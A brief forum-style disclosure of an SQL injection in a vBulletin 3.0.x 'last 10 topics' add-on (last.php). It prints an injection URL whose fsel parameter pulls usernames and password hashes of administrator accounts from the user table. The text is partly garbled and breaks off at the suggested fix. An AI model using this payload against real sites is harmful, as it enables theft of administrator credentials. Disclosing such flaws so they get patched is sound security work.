SQL injection in vBulletin forums (last10.php)

hi all, a new SQL injection found in VBulletin Forums 3.0.x the Vulnerabilite found in last.php, last 10 topics hack. last.php?fsel=,user.password20as20title,user.20 202020username20as20lastposter20FROM20user, thread2020202020WHERE20usergroupid=620LIMIT 201 to solve the problem delet fsel? from...